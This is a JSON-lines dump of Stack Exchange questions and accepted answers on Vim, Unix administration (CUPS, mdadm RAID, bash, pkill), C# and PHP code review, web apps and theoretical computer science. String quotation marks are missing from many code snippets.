{  "id": "_vi.10076"  , "question": "I just started working with Jekyll, which uses Liquid. As a templating language, Liquid is embedded into files of other types (e.g., HTML, CSS, or Markdown). Vim handles this sort of dual syntax highlighting admirably  when set filetype=liquid in, say, an HTML file, it preserves the HTML highlighting while additionally highlighting Liquid code. But Liquid also has its own comment markers, which are distinct from HTML's, CSS's, and Markdown's. And when I want to comment something out in a .css.liquid file, more often than not, what I'm trying to do is make a /* CSS comment */, not a {{ comment }}Liquid comment{{ endcomment }}. Unfortunately, I rely on tpopes vim-commentary to comment stuff out, and that plugin relies on the filetype-specific commentstring setting to determine how to wrap comments. So my question is, is there any way to enable Liquid syntax highlighting while keeping the native commentstring setting?"  , "title": "Enable templating language (e.g., Liquid) syntax highlighting but keep native (html/css) commenting?"  , "tags": "syntax highlighting;filetype;comments"  , "accepted_answer": "You can create file ~/.vim/after/ftplugin/liquid.vim containing:if expand('%:e:e') == 'css.liquid'    set commentstring=/*\\ %s\\ */endifWhich will change style of comments to /* ... */ only for Liquid files with .css.liquid extension."  } 
{  "id": "_vi.3458"  , "question": "Is there a way to effectively combine :w and :e commands so that the current file is saved and a new one is opened for editing in one go? And to do so in a way that allows tab completion of path and filename on the command line?"  , "title": "Save current file and open another for editing"  , "tags": "command line;multiple files;file operations"  , "accepted_answer": "You can use command to add new commands. These have to start with a capital letter.Something like this should do what you want:command! -nargs=1 -complete=file WE write | edit <args>You can then do::WE new-file-nargs=1 -  accept one argument-complete=file - do file completionWE - the command namewrite | edit <args> - first call :w, and then :e with the argument we gave it.Note that there's also the autowrite option:Write the contents of the file, if it has been modified, on each  :next, :rewind, :last, :first, :previous, :stop, :suspend, :tag, :!,  :make, CTRL-] and CTRL-^ command; and when a :buffer, CTRL-O, CTRL-I,  '{A-Z0-9}, or `{A-Z0-9} command takes one to another file. and the autowriteall option:Like 'autowrite', but also used for commands :edit, :enew, :quit,  :qall, :exit, :xit, :recover and closing the Vim window.  Setting this option also implies that Vim behaves like 'autowrite' has  been set."  } 
{  "id": "_webapps.58601"  , "question": "I am living in Hong Kong and signed up for an ebay account. The account works on ebay.com as well as ebay.com.hk. Unfortunately I do not speak Chinese and therefore cannot use ebay.com.hk since there does not seem to be an english option for the page.So when using ebay.com, I am trying to sell an item and only offer local (= Hong Kong) shipping. However, ebay always adds United States to the shipping options. I also cannot find it in the list of exclusions.Is there any way for someone not living in the USA to place a sell auction in ebay.com that does not ship to the USA?"  , "title": "Non-US shipping when selling on ebay.com?"  , "tags": "ebay"  } 
{  "id": "_unix.17706"  , "question": "My local CUPS daemon on my laptop has an entry for a remote printer on my CUPS server. My local CUPS daemon thinks this printer is stopped, but it's not. The only interface CUPS gives me to manage this remote printer is a hyperlink to the CUPS printer on the server.This tends to happen when something tries to query status on this remote printer when I'm not on my local network.  The local CUPS will then permanently mark it stopped and say it couldn't find it.However, once I get back on the local LAN it never removes the 'stopped' status.  (Even rebooting does nothing)The only way I can print again is to stop my local CUPS process, edit the /etc/cups/printers.conf file to manually change the status to Idle, and restart the CUPS server.Surely there's a better way??EDIT:Oh yeah, I previous solved this by creating a new remote printer entry.  However, I couldn't find any way to DELETE the old remote printer entry.  I had to edit printers.conf for that as well.  Is there a way to manage remote printers entries at all?EDIT:This is CUPS 1.4.3. I also found a 'cupsenable' command that was only mentioned on the What's new page and the printers.conf docs online.  I'll try that next time and see if it works."  , "title": "CUPS remote printer entry is stopped locally"  , "tags": "printing;cups"  } 
{  "id": "_webapps.47467"  , "question": "I sent a tweet but it does not show up in my sent list. I can see all my older tweets. Where could it have gone?"  , "title": "Tweet is not showing up in list of sent tweets"  , "tags": "twitter"  } 
{  "id": "_codereview.95956"  , "question": "Few months ago I posted my code Getting a single value from the DB. I implemented suggested changes and this is how it looks like right now:public class DataBase : Page{    protected static readonly ILog log = LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType);    protected static string ConnectionString;    public DataBase()    {        ConnectionString = GetConnectionString();    }    public static String GetConnectionString()    {        return ConfigurationManager.ConnectionStrings[abc].ConnectionString;    }    public static T GetValue<T>(string query)        where T : IComparable, IConvertible, IEquatable<T>    {        Object value = GetValue(query);        if (Convert.IsDBNull(value))            return GetDefaultValue<T>();        return (T)Convert.ChangeType(value, typeof(T));    }    public static T GetDefaultValue<T>()        where T : IComparable, IConvertible, IEquatable<T>    {        if (typeof(T) == typeof(String))            return (T)(object)String.Empty;        return default(T);    }private static Object GetValue(string query)    {        try        {            using (SqlConnection connection = new SqlConnection(ConnectionString))            using (SqlCommand command = new SqlCommand(query, connection))            {                connection.Open();                return command.ExecuteScalar();            }        }        catch (Exception e)        {            LogQueryError(query, e);            return DBNull.Value;        }    }protected static void LogQueryError(string query, Exception e)    {        log.Error(string.Format(Error while executing Query ({0}): {1}, query, e.Message));    }}One explanation. The purpose of where T : IComparable, IConvertible, IEquatable<T> is to have single method for value types and strings. (inspired by C# Generic constraints to include value types AND strings What do you think about this piece of code?"  , "title": "Generic getting single value from DB in C#"  , "tags": "c#;.net;asp.net;generics"  , "accepted_answer": "Something smells hinky having this class inherit from something called Page. Like it's mixing UI and data concerns where it shouldn't. What does Page give this class?C# convention is to use language aliases object and string over the CLR types Object and String, respectively.Also along the lines of convention, the word is database, not data base and therefore the class should not be named DataBase, but rather Database.You have two particular dependencies in this class: a connection string and a logger. I'd recommend inverting those dependencies and injecting them into the class at time of construction.Better yet, there are other dependencies, SqlConnection and SqlCommand being created in the GetValue method. These may best be refactored into another class injected into this one.Class member variables should always be private. If you need them exposed to the outside, or subclasses, use properties to control access.Use var where possible.So, here's a cut at that:IDatabaseAdapter interface:public interface IDatabaseAdapter{    IDbConnection GetConnection();    IDbCommand GetCommand(IDbConnection connection, string query);}DatabaseAdapter implementation:public class DatabaseAdapter : IDatabaseAdapter{    private readonly string _ConnectionString;    public DatabaseAdapter(string connectionString)    {        this._ConnectionString = connectionString;    }    public IDbConnection GetConnection()    {        return new SqlConnection(this._ConnectionString);    }    public IDbCommand GetCommand(IDbConnection connection, string query)    {        var command = new SqlCommand(query, connection as SqlConnection);        connection.Open();        return command;    }}Database class:public class Database{    private readonly ILog _Log;    private readonly IDatabaseAdapter _DatabaseAdapter;    public Database(ILog log, IDatabaseAdapter databaseAdapter)    {        this._Log = log;        this._DatabaseAdapter = databaseAdapter;    }    public string ConnectionString    {        get        {            return this.ConnectionString;        }    }    protected ILog Log    {        get        {            return this._Log;        }    }    public T GetValue<T>(string query)        where T : IComparable, IConvertible, IEquatable<T>    {        var value = this.GetValue(query);        return Convert.IsDBNull(value) ? GetDefaultValue<T>() : (T)Convert.ChangeType(value, typeof(T));    }    public static T GetDefaultValue<T>()        where T : IComparable, IConvertible, IEquatable<T>    {        return typeof(T) == typeof(string) ? (T)(object)string.Empty : default(T);    }    private object GetValue(string query)    {        try        {            using (var connection = this._DatabaseAdapter.GetConnection())            using (var command = this._DatabaseAdapter.GetCommand(connection, query))            {                return command.ExecuteScalar();            }        }        catch (Exception e)        {            this.LogQueryError(query, e);            return DBNull.Value;        }    }    protected void LogQueryError(string query, Exception e)    {        this._Log.Error(string.Format(Error while executing Query ({0}): {1}, query, e.Message));    }}Sample calling code:internal static class Program{    private static readonly DataBase _Database = new DataBase(        LogManager.GetLogger(System.Reflection.MethodBase.GetCurrentMethod().DeclaringType),        new DatabaseAdapter(ConfigurationManager.ConnectionStrings[abc].ConnectionString));    private static void Main()    {    }}As a final note, you'll likely want to check for null or empty strings in constructors and raise appropriate exceptions then to keep the state of the objects well-known."  } 
{  "id": "_unix.289499"  , "question": "For example:$ node-bash: /usr/local/bin/node: No such file or directory$ foo-bash: foo: command not foundWhat's the difference? In both cases, node and foo are invalid commands, but it seems like Unix just can't find the node binary? When uninstalling a program, e.g. node, is there a way to clean this up so that I get$ node-bash: node: command not foundEDIT:Results from type command:$ type nodenode is hashed (/usr/local/bin/node)$ type foo-bash: type: foo: not found"  , "title": "Difference between command not found and no such file or directory?"  , "tags": "bash;command line;executable"  , "accepted_answer": "That's because bash remembered your command location, store it in a hash table.After you uninstalled node, the hash table isn't cleared, bash still thinks node is at /usr/local/bin/node, skipping the PATH lookup, and calling /usr/local/bin/node directly, using execve(). Since when node isn't there anymore, execve() returns ENOENT error, means no such file or directory, bash reported that error to you.In bash, you can remove an entry from hash table:hash -d nodeor remove the entire hash table (works in all POSIX shell):hash -r"  } 
{  "id": "_webapps.58235"  , "question": "I have 3 possible evaluation values in my spreadsheet (I have to use the values with digits and words):1.0 - Doesn't meet expectations2.0 - Meets expectations3.0 - Exceeds expectationsThe goal - is to calculate the average evaluation point, like 2.5I tried to use IF condition, but it works only for 2 values, and I have 3.Could you please advise how can I calculate in separate column on at the bottom of the column with my values the average digit?"  , "title": "IF Statements with 3 options"  , "tags": "google spreadsheets"  } 
{  "id": "_cstheory.29467"  , "question": "In a poset $(D, \\sqsubseteq)$, a compact element is an element $d \\in D$ such that for every directed set $A$ which happens to have a supremum $\\bigsqcup A \\in D$ with $d \\sqsubseteq \\bigsqcup A$, it is $d \\sqsubseteq a$ for some $a \\in A$ (e.g., Definition I-4.1 of [Gierz et al 2003]).My (elementary) question. Suppose $d$ is compact and $c \\sqsubseteq d$. What are typical extra impositions on the poset, that ensure that $c$ must also be compact?"  , "title": "In which posets is the set of compact elements downwards closed?"  , "tags": "pl.programming languages;lambda calculus;denotational semantics;domain theory"  , "accepted_answer": "The only natural condition I can think of is Berry's I condition ([1], Sect. 12.3):(I) each compact element dominates finitely many elements.The above condition is the defining property of Berry's dI-domains, which are distributive (that's what the d stands for) algebraic domains satisfying condition I.  This is a widely known and well studied class of domains, which served as the basis for what is known as stable semantics (an attempt to capture the sequential behavior of the $\\lambda$-calculus).  Girard's coherence spaces [2] give a particularly simple and useful example of dI-domains.  A coherence space may be seen as the set of cliques of a reflexive graph, ordered by inclusion.  The compact elements are the finite cliques, which obviously satisfy your requirement.I don't know if generalizations of the I condition have been studied.  A counterexample to your property is given by the ordinal $\\omega+2$ ($\\omega+1$ is compact but $\\omega$ is not), so certainly generalizing finite to well-founded+no infinite antichains does not work.[1]  Roberto Amadio and Pierre-Louis Curien.  Domains and Lambda-Calculi.  Cambridge Tracts in Theoretical Computer Science, 1998.[2] Jean-Yves Girard, Yves Lafont and Paul Taylor.  Proofs and Types.   Cambridge Tracts in Theoretical Computer Science, 1989."  } 
{  "id": "_softwareengineering.67759"  , "question": "I am developing a small application in .NET and am thinking of using XML to save the object model.My first thought was to separate the model and the generation of XML by using the Visitor pattern. The class would walk the object hierarchy and create the XML. But then I thought about the Extreme Programming method and the you ain't gonna need it (YAGNI) principle. I don't envisage needing to create another Visitor to output the data in some other way (it's a simple app) I just want to use a human readable format to save the application's data.Should I use the Visitor pattern or am I just over engineering the solution?"  , "title": "Use of the Visitor pattern and possible over engineering"  , "tags": "design patterns;visitor pattern"  , "accepted_answer": "I don't really know enough about your application to be sure, but my feeling is that you are overengineering. You can't really code your application to cover every possible feature addition. Just keep it simple and be sure to avoid code duplication - if it turns out you need a visitor later, refactor it to a visitor.A good book on the subject: http://www.amazon.com/Refactoring-Patterns-Joshua-Kerievsky/dp/0321213351"  } 
{  "id": "_unix.209224"  , "question": "TLDR: What is the theory behind terminal colors? I have a fixed value of LS_COLORS in numbers:no=00:fi=00:di=01;34:ln=00;36:pi=40;33:so=00;35:bd=40;33;01:cd=40;33;01:or=01;05;37;41:mi=01;05;37;41:ex=00;33:*.cmd=00;33:*.exe=00;33:*.com=00;33:*.btm=00;33:*.bat=00;33:*.sh=00;33:*.csh=00;33:*.tar=00;31:*.tgz=00;31:*.arj=00;31:*.taz=00;31:*.lzh=00;31:*.zip=00;31:*.z=00;31:*.Z=00;31:*.gz=00;31:*.bz2=00;31:*.bz=00;31:*.tz=00;31:*.rpm=00;31:*.cpio=00;31:*.jpg=00;35:*.gif=00;35:*.bmp=00;35:*.xbm=00;35:*.xpm=00;35:*.png=00;35:*.tif=00;35:*.c=00;41:*.cpp=00;41:*.h=00;44:*.cu=00;43:*.cuh=00;43:ex=00;32 I wonder what causes gnome-terminal, urxvt and yakuake to show perceptibly different colors for the same file type? The difference ranges from very similar (and yet clearly different) to drastically different- brown vs yellow. Similarly, there are differences in how vim color shows up, I see very different colors in all three terminals. Both when t_Co=8 (vim supporting 8 colors) and t_Co=256(vim supporting 256 colors). What's worse is that when I copy .XResources from internet which has english names for colors, the same colorscheme in vim shows much different colors. (I think I can attribute this to the use of names in vimscheme, and color redefintion by .Xresources)Could someone help me with understanding the theory behind how terminal color works? A link would work great. If someone's feeling extra generous- maybe they can give tips too to ensure that I always have a standard environment, specially in the context of vim? I should note that on yakuake, my color theme is: Linux theme (which seems to be only standard theme) and on gnome-terminal I have no theme. When I check the 'user system colors' option, the colors are even more disastrous, and the output itself is mangled (e.g. vanilla ls showing each file on a different line). For urxvt, the only color related fields I have defined in .Xresources and xrdb -q yields are:     Urxvt.background: #000000 Urxvt.foreground: #FFFFFFOk so some screenshots to explain what I'm talking about (first is on yakuake, second on urxvt) The difference is clearly major...Using: http://www.vim.org/scripts/script.php?script_id=1349 (first is yakuake, second on urxvt)"  , "title": "terminal color theory"  , "tags": "terminal;vim;colors"  , "accepted_answer": "The indexed color palette has the actual rendering open to interpretation - on actual hardware, there were different standards (especially brown vs. dark yellow, brown is more useful and nicer to look at).Just check out this:https://en.wikipedia.org/wiki/Color_Graphics_AdapterOn terminal emulators, it depends on the configuration. Most emulators have a mode defined (echo $TERM), singifying which old-school hardware it is emulating. The color is the least of the changes - other control codes (invisible character strings that control the cursor position, bold/invert video, blinking and whatever) can have different codes too. That's the garbage you sometimes get, when you press cursors when the terminal type is incorrectly set (over ssh, for instance). Some more sophisticated emulators actually don't care about the ancient color standards and let you define your own colors (Konsole - which Yakuake uses - has color profiles). Modern terminal emulators actually support more colors than that (256), but of course, the application running in the terminal has to recognize this capability (through termcap or something, or by reading $TERM variable), and output the correct character combinations to use them.What you actually want to read is this, there is even a color table:https://en.wikipedia.org/wiki/ANSI_escape_code"  } 
{  "id": "_webapps.66916"  , "question": "Can you look at this screenshot?Why Monetiztion part says You are almost done?I seems bind everything correct I mean about binding Youtube and Ad Sense. What do I need to do for activate my AdSense?"  , "title": "Youtube channel activated monetisation"  , "tags": "youtube;google adsense"  } 
{  "id": "_codereview.98235"  , "question": "I am trying to fill values based on group, in my case id. I would like to fill the missing values according to the available date info for each id.   id  date1   1 23-042   1 23-043   1  <NA>4   1  <NA>5   2 24-046   2  <NA>7   2  <NA>8   2  <NA>9   3 23-0410  3  <NA>11  3  <NA>12  3  <NA>13  4  <NA>14  4  <NA>15  4  <NA>16  4  <NA>What I need is:    id  date1   1 23-042   1 23-043   1 23-044   1 23-045   2 24-046   2 24-047   2 24-048   2 24-049   3 23-0410  3 23-0411  3 23-0412  3 23-0413  4  <NA>14  4  <NA>15  4  <NA>16  4  <NA>I figured out a loop, but I would like to avoid it because my data has 23 millions rows:for(i in 2:nrow(dta)){  if(dta$id[i-1] == dta$id[i])  {    dta$date[i] = dta$date[i-1]  }}I cannot figure out how to translate this into dplyr syntax:dta = structure(list(id = structure(c(1L, 1L, 1L, 1L, 2L, 2L, 2L, 2L, 3L, 3L, 3L, 3L, 4L, 4L, 4L, 4L), .Label = c(1, 2, 3, 4), class = factor), date = structure(c(1L, 1L, 1L, 1L, 2L, 2L, 2L, 2L, 1L, 1L, 1L, 1L, NA, NA, NA, NA), .Label = c(23-04, 24-04), class = factor)), .Names = c(id, date), row.names = c(NA, -16L), class = data.frame)"  , "title": "Fill missing values based on group"  , "tags": "performance;r"  , "accepted_answer": "In R this is usually solved using the na.locf (Last Observation Carried Forward) function from the zoo package.See also here:Fill in NA based on the last non-NA value for each group in RUsing dplyr window-functions to make trailing values# test datax <- read.table(text=id;date1;23-041;23-041;NA1;NA2;24-042;NA2;NA2;NA3;23-043;NA3;NA3;NA4;NA4;NA4;NA4;NA, header=TRUE, sep=;)library(dplyr)library(zoo)x %>% group_by(id) %>% transmute(date=na.locf(date, na.rm=FALSE))Source: local data frame [16 x 2]Groups: id   id  date1   1 23-042   1 23-043   1 23-044   1 23-045   2 24-046   2 24-047   2 24-048   2 24-049   3 23-0410  3 23-0411  3 23-0412  3 23-0413  4    NA14  4    NA15  4    NA16  4    NAAnother option are rolling self-joins supported by the data.table package (see here)."  } 
{  "id": "_unix.37293"  , "question": "I originally created a software RAID using a controller that could only address 2TB per disk. The disks are 3 TB disks. It worked fine, but only used the first 2TB of each disk.I have now changed the controller to see the full 3TB. I would therefore like /dev/md0 to use the last 1 TB, too.I have tried:# mdadm --grow /dev/md0 --size=maxmdadm: component size of /dev/md0 has been set to 2147479552KBut as you can see it only sees the 2TB. If I try forcing it higher:# mdadm --grow /dev/md0 --size=2147483648mdadm: Cannot set device size for /dev/md0: No space left on deviceSo somehow the system can see the disks are 3TB (in /proc/partitions), but the RAID cannot see them as 3TB.mdadm details:# mdadm --detail /dev/md0/dev/md0:    Version : 1.2Creation Time : Fri Mar  2 15:14:46 2012 Raid Level : raid6 Array Size : 38654631936 (36863.93 GiB 39582.34 GB)Used Dev Size : 2147479552 (2048.00 GiB 2199.02 GB)Raid Devices : 20Total Devices : 21Persistence : Superblock is persistentUpdate Time : Wed Apr 25 19:47:09 2012      State : activeActive Devices : 20Working Devices : 21Failed Devices : 0Spare Devices : 1     Layout : left-symmetric Chunk Size : 4096K       Name : node5:1       UUID : 8603c3df:b740ba22:8c9c82fd:a18b3133     Events : 845Number   Major   Minor   RaidDevice State  20      65       32        0      active sync   /dev/sds   1      65       64        1      active sync   /dev/sdu   2      65       80        2      active sync   /dev/sdv   3      65       96        3      active sync   /dev/sdw   4       8      192        4      active sync   /dev/sdm   5       8       32        5      active sync   /dev/sdc   6       8       48        6      active sync   /dev/sdd   7       8       64        7      active sync   /dev/sde   8       8       80        8      active sync   /dev/sdf   9       8       96        9      active sync   /dev/sdg  10       8      112       10      active sync   /dev/sdh  11       8      128       11      active sync   /dev/sdi  12       8      144       12      active sync   /dev/sdj  13       8      160       13      active sync   /dev/sdk  14       8      176       14      active sync   /dev/sdl  15       8      208       15      active sync   /dev/sdn  16       8      224       16      active sync   /dev/sdo  17       8      240       17      active sync   /dev/sdp  18      65        0       18      active sync   /dev/sdq  19      65       16       19      active sync   /dev/sdr  21      65       48        -      spare   /dev/sdtDisk sizes:# cat /proc/partitions |grep 2930266584   8       48 2930266584 sdd   8       32 2930266584 sdc   8      112 2930266584 sdh   8       96 2930266584 sdg   8       80 2930266584 sdf   8      128 2930266584 sdi   8      176 2930266584 sdl   8       64 2930266584 sde  65       32 2930266584 sds   8      192 2930266584 sdm   8      144 2930266584 sdj  65       80 2930266584 sdv   8      224 2930266584 sdo   8      208 2930266584 sdn   8      160 2930266584 sdk   8      240 2930266584 sdp  65        0 2930266584 sdq  65       64 2930266584 sdu  65       16 2930266584 sdr  65       48 2930266584 sdt  65       96 2930266584 sdwEdit:# mdadm --versionmdadm - v3.1.4 - 31st August 2010# uname -aLinux lemaitre 3.2.0-0.bpo.1-amd64 #1 SMP Sat Feb 11 08:41:32 UTC 2012 x86_64 GNU/LinuxThe RAID6 uses the full disks (i.e. no partitions)This morning the system crashed. After a reboot the system did not find the RAID (which was terrible). All disks showed up as spares (S):cat /proc/mdstat Personalities : md0 : inactive sdr[20](S) sds[21](S) sdq[18](S) sdp[17](S) sdo[16](S) sdn[15](S) sdl[14](S) sdk[13](S) sdj[12](S) sdi[11](S) sdh[10](S) sdg[9](S) sdf[8](S) sde[7](S) sdd[6](S) sdc[5](S) sdm[4](S) sdv[3](S) sdu[2](S) sdt[1](S)      42949652460 blocks super 1.2Even here it is clear that mdadm did not find the 3 TB size.I ran mdadm --stop /dev/md0. Removed the entry in /etc/mdadm/mdadm.conf. Ran mdadm -A --scan --force, which caused the RAID to come online and rebuild."  , "title": "Grow/resize RAID when upgrading visible size of disks"  , "tags": "software raid;mdadm"  , "accepted_answer": "I poked around /sys and got a lot closer to the answer.# cd /sys/block/md0/md# cat component_size2147479552That agrees with what we have seen before. But this:# grep . dev-sd*/sizedev-sdc/size:2147482623dev-sdd/size:2147482623dev-sde/size:2147482623dev-sdf/size:2930265560dev-sdg/size:2147482623dev-sdh/size:2147482623dev-sdi/size:2147482623dev-sdj/size:2147482623dev-sdk/size:2147482623dev-sdl/size:2147483648dev-sdm/size:2147482623dev-sdn/size:2147482623dev-sdo/size:2147482623dev-sdp/size:2147482623dev-sdq/size:2147482623dev-sdr/size:2147482623dev-sds/size:2147482623dev-sdt/size:2147482623dev-sdu/size:2147482623dev-sdv/size:2147482623dev-sdw/size:2930265560seems to explain why the RAID sees the wrong size: Most of the drives shows up as 2TB while the 2 that have been replaced shows up as 3TB. All the drives are the same model, so let us see, if we can change the perceived size:# parallel echo 2930265560 \\> ::: dev-sd*/size# grep . dev-sd*/sizedev-sdc/size:2930265560dev-sdd/size:2930265560dev-sde/size:2930265560dev-sdf/size:2930265560dev-sdg/size:2930265560dev-sdh/size:2930265560dev-sdi/size:2930265560dev-sdj/size:2930265560dev-sdk/size:2930265560dev-sdl/size:2930265560dev-sdm/size:2930265560dev-sdn/size:2930265560dev-sdo/size:2930265560dev-sdp/size:2930265560dev-sdq/size:2930265560dev-sdr/size:2930265560dev-sds/size:2930265560dev-sdt/size:2930265560dev-sdu/size:2930265560dev-sdv/size:2930265560dev-sdw/size:2930265560Voila. Component_size is still small, though:# cat component_size2147479552Maybe it can be changed by mdadm:# mdadm --grow /dev/md0 --size=maxThis unfortunately locks up mdadm and subsequent access to /dev/md0 is blocked. And so is access to component_size:# cat component_size   # This blocksSucks. But the good part is that in syslog it says:Apr 27 20:45:50 server kernel: [124731.725019] md0: detected capacity change from 39582343102464 to 54010589478912The filesystem on /dev/md0 still ran.After a reboot I had to do 'mdadm --grow /dev/md0 --size=max' again. Then wait for resync to complete. Again access to /dev/md0 was blocked. So yet another reboot, followed by xfs_growfs /dev/md0 and then the resize was complete."  } 
{  "id": "_webapps.41068"  , "question": "When you download a file from the MEGA service, you are shown a pretty download progress bar within the browser. Once this progress bar reaches 100%, your browser then begins to download the file. That is, only once the graphical download is complete, your browser's normal download process is started. What exactly is going on here?"  , "title": "How exactly does MEGA's download work?"  , "tags": "download;mega"  , "accepted_answer": "It uses the fileSystem API, which basically writes the file to a sandboxed section of your local file system:AppData\\Local\\Google\\Chrome\\User Data\\Default\\File System\\"  } 
{  "id": "_unix.296086"  , "question": "to find the PID of the process to kill use : pgrep <process command>I then use the kill command to kill the PID returned by pgrep <process command>kill <PID>Can these commands be combined into one so can kill the PID or PID's returned by pgrep <process command> ? Or is there a method kill multiple processes by command name ?Something like : kill(pgrep <name of process>)"  , "title": "How to kill multiple processes"  , "tags": "kill;ps;process management"  , "accepted_answer": "You can use pkill:pkill httpdYou may also want to use process substitution(although this isn't as clear):kill $(pgrep command)And you may want to use xargs:pgrep command | xargs kill"  } 
{  "id": "_cs.24149"  , "question": "While I was studying SAT problem and its different instances, in Algorithms for the Satisfiability (SAT) Problem: A Survey by J. Gu et. al PDF, I came up with this variant (not mentioned there, but I though of it) and searched, but could not find anything useful.Consider this variant:Suppose $f$ is a boolean function in $n$ boolean variables, but with this extra property, that $f$ is increasing. I have thought of $n$ boolean variables, $X_1, \\ldots, x_n$ as representation of subsets of a set with $n$ elements, and if some  subset like $X$ satisfies $f$, then all $Y$ s.t. $X \\subseteq Y$ satisfy $f$, too. What I want is finding the collection of all minimal $X$ where $f$ satisfies each of them, but not any $Z$ where $Z \\subsetneq X$?Is this problem still hard?If I consider the $x_1, \\ldots, x_n$ as a number, then increasing property of $f$ helps solving it in polynomial time, just a binary search suffices! So, I made it a little bit harder.Any help, even offers of search terms is appreciated."  , "title": "How can I identify that a restricted variant of Boolean SAT remains hard or not?"  , "tags": "complexity theory;np hard;satisfiability"  , "accepted_answer": "Your problem cannot be solved in polynomial time, for a boring reason: the size of the output might be exponential in the time of the input.  Therefore, there is no hope for a polynomial-time algorithm.For instance, consider the boolean function $f:\\{0,1\\}^n \\to \\{0,1\\}$ that outputs $1$ if its input vector has at least $n/2$ ones (i.e., its Hamming weight is at least $n/2$), and $0$ otherwise.  This function can be represented by a polynomial-size monotone formula.  However, there are exponentially many minimal $x$ such that $f(x)=1$.  In particular, each $x$ of Hamming weight $n/2$ is such a minimal input, and there are ${n \\choose n/2}  \\approx 2^n/\\sqrt{n}$ such inputs.So, there's no hope.As Andrej Bauer points out, a related problem (testing whether there exists an input of Hamming weight at most $k$ that causes the boolean function to output $1$) is also NP-complete; see Prove NP-completeness of deciding satisfiability of monotone boolean formula."  } 
{  "id": "_webmaster.89779"  , "question": "I have a landing page with a button that takes the user to a store page which opens in a new tab. This store page is a different domain name than the landing page. I have cross-domain tracking setup and this new funnel I added doesn't want to convert people down the steps I set up. The funnel goes:Step 1: Landing page (domain1.com)Step 2:Store page (domain2.com)Destination goal: Thank_you page (domain2.com/thank_you)The question I'm asking is:Does the fact the link is opening a new tab target='_blank'count as a new session? Considering them dropping off at the landing page?"  , "title": "Does opening link in new tab break goal funnels steps?"  , "tags": "google;google analytics;google search console;analytics;goal tracking"  , "accepted_answer": "Opening new tabs or windows does not cause Google Analytics to start a new session for the user.Google Analytics starts new sessions when:There is no existing session cookieThe existing session is more than 30 minutes oldThere is an external referrer on the requestNone of these apply to a request opened in a new tab."  } 
{  "id": "_cs.39679"  , "question": "I'm doing some classification experiments with decision trees ( specifically rpart package in R). By setting the depth of a decision tree to 10 I expect to get a small tree but it is in fact quite large and its size is 7650. So what is exactly the definition of size (and depth) in decision trees?PS: my dataset is quite large."  , "title": "Size of decision tree and depth of decision tree"  , "tags": "binary trees;classification"  } 
{  "id": "_codereview.23306"  , "question": "I'm new to PHP and I would like to redirect the visitors of my website based on their operating system. Below is my solution. Is there anything that needs to be optimized?<?php    // MOBILE    $android = strpos($_SERVER['HTTP_USER_AGENT'],Android);    $blackberry = strpos($_SERVER['HTTP_USER_AGENT'],BB10);    $ios = strpos($_SERVER['HTTP_USER_AGENT'],iOS);    // DESKTOP    $windows = strpos($_SERVER['HTTP_USER_AGENT'],Windows);    $mac = strpos($_SERVER['HTTP_USER_AGENT'],Mac);    // REDIRECTS     // MOBILE    if ($android == true)     {     header('Location: http://www.example.com/android');    }     else if ($blackberry == true)     {     header('Location: http://www.example.com/blackberry');    }    else if ($ios == true)     {     header('Location: http://www.example.com/ios');    }    // DESKTOP    else if ($windows == true)     {     header('Location: http://www.example.com/windows');    }    else if ($mac == true)     {     header('Location: http://www.example.com/mac');    }    ?>Thanks. Patrick"  , "title": "PHP - Redirect based on OS optimization"  , "tags": "php;optimization"  , "accepted_answer": "Before anything, I'll let you search on the web why this might not be such a good idea and I'll just focus on the code.You probably should retrieve $_SERVER['HTTP_USER_AGENT'] and store it in a variable in order to avoid repeated code. Also, you might want to check if the variable is set properly before accessing it to avoid warnings/errors.You can rewrite if ($variable == true) as if ($variable)You could avoid the boilerplate and repeated code if you were storing the interesting parts of your logic in an array and write the common parts only once :    $ua = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';    $redir = array(        Android => 'android',        BB10    => 'blackberry',        iOS     => 'ios',        Windows => 'windows',        Mac     => 'mac'    );    if (isset($redir[$ua]))    {        header('Location: http://www.example.com/' . $redir[$ua]);    }I hope this helps!"  } 
{  "id": "_softwareengineering.331476"  , "question": "I am writing a custom drop down list. I want to make it reusable (obviously), so I have a method PopulateList. I can populate list in two ways though. First, is passing a list or an array of strings to PopulateList. But I almost never want to select a string, right? Most of the time it's some complex objects. For example, say I have a class Dog with two properties, Name and Breed. I want to show  a drop down list with the names of the dogs. I can do listOfDogs.Select(x => x.Name).ToList() and there I have it, a list of dogs that I can pass to PopulateList. Now, since those are strings and my dropdown doesn't know about the objects themselves, when it will raise ItemSelected event, it won't be able to say which object was selected, but rather which string, and I will have to do the mapping on the handling side. And that's okay, but that mapping part is kinda ugly.The second way is doing this:void PopulateList<T>(List<T> list, Func<T, string> selector ){    var stringValues = list.Select(selector).ToList();    ...}and using it like this:var list = new List<Dog>{    new Dog {Breed = German Shepard, Name = Nancy},    new Dog {Breed = Collie, Name = Stacy} // weird name choices, I know};PopulateList(list, dog => dog.Name);This way, dropdown won't care what kind of objects it is dealing with and will be able to know which object was selected and I will be able to beautifully wrap it in EventArgs and pass it to the event handler.My question is, what are the advantages of using the second approach? Is it unnecessary complexity?EDIT:I ended up implementing it like this:async Task<T> PopupSelect<T>(string title, List<T> objects, Func<T, string> selector, bool hasDefault, T defaultObject = default(T))It is very easy to use. For example:_button.Clicked += async delegate{    var list = new List<Tuple<string, string>>()    {        Tuple.Create(asdf, Dog),        Tuple.Create(a, Cat),        Tuple.Create(d, Mouse),        Tuple.Create(e, Rat),        Tuple.Create(r, Hamster),        Tuple.Create(2, Elephant),        Tuple.Create(344, Lion),        Tuple.Create(ascv, Tiger),        Tuple.Create(vv, Buffalo),    };    var selected = await PopupSelect(Select a pet, list, s => s, true, list[5]);    if (selected == null)        Debug.WriteLine(Sorry, no value was selected);    else        Debug.WriteLine(selected.Item2);"  , "title": "Should I rather pass strings or objects to DropDownList?"  , "tags": "c#;design;.net"  } 
{  "id": "_unix.226676"  , "question": "A new computer came pre-installed with Windows 8.1.  It is an Acer Aspire T desktop.  I would like to completely erase windows 8.1 forever from the machine, and replace it with CentOS 7.  How can I accomplish this? So far, I have created a boot stick using pen drive Linux and changed the boot order in the machine to pick the boot stick first.  But this is resulting in a error stating there is a problem loading in-kernel x.509 certificate (-129).  Somehow, I think that the current error is the result of a wrong approach, so I would really appreciate it if someone could describe the correct approach instead of diagnosing my current error."  , "title": "replacing windows 8.1 with CentOS 7"  , "tags": "centos;boot;windows;usb;bootable"  } 
